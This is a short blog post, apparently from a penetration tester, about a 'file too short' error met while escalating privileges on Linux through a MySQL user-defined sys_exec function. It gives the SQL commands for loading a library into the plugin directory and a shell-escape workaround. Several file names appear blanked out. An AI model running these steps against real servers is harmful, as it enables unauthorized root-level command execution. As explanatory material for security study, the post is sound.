cybersecurity November 10, 2021 0

MySQL Error “file too short” when creating sys_exec function

I recently encountered an intriguing error message, “file too short” when attempting to elevate privileges on a Linux system through the MySQL Library (

mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/'));

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/';

mysql> create function sys_exec returns integer soname '';

ERROR 1126 (HY000): Can't open shared library '' (errno: 11 /usr/lib/mysql/plugin/ file too short)

Turned out that “SELECT … INTO DUMPFILE” clause did not write a library properly into plugins’ directory in “/usr/lib/mysql/plugin/” (the file size is 1)

ls -la /usr/lib/mysql/plugin/
-rw-rw-rw- 1 root mysql 1 Nov 10 13:08 /usr/lib/mysql/plugin/


Since MySQL is running as root, we can try to copy the file manually by breaking in into a shell

mysql> \! cp /usr/lib/mysql/plugin/

mysql> create function sys_exec returns integer soname '';
Query OK, 0 rows affected (0.00 sec)

Some more details about the environment

- Database version MySQL 5.7.30 
- mysql process is running as root
- OS: Debian 9.12 (stretch) x86_64